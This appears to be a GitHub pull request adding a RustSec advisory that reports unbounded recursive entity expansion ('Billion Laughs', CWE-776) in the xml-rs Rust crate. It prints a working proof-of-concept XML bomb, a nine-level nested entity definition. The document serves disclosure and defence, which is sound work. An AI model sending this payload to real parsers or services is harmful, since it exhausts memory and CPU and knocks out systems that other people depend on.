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Add advisory for xml-rs: unbounded entity expansion (Billion Laughs) #2661

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Add advisory for xml-rs: unbounded entity expansion (Billion Laughs) #2661

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47 changes: 47 additions & 0 deletions crates/xml-rs/RUSTSEC-0000-0000.md
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```toml
[advisory]
id = "RUSTSEC-0000-0000"
package = "xml-rs"
date = "2026-02-22"
url = "https://github.com/netvl/xml-rs/issues/228"
categories = ["denial-of-service"]
keywords = ["xml", "billion-laughs", "entity-expansion", "dos"]

[versions]
patched = []
unaffected = []
```

# xml-rs: Unbounded Entity Expansion (Billion Laughs / XML Bomb)

xml-rs supports internal DTD entity definitions and expands entity references
recursively during parsing with no depth limit or expanded-size limit.

An attacker can craft an XML document with recursively defined entities (the
"Billion Laughs" attack, CWE-776) that causes exponential memory consumption
and CPU exhaustion. A sub-1KB XML payload can expand to gigabytes of text
(~3,000,000x amplification ratio), crashing the process or host.

Any application using xml-rs to parse untrusted XML input is vulnerable.

## Proof of Concept

```xml
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<root>&lol9;</root>
```

## Alternatives

- [quick-xml](https://crates.io/crates/quick-xml) does not expand entities by default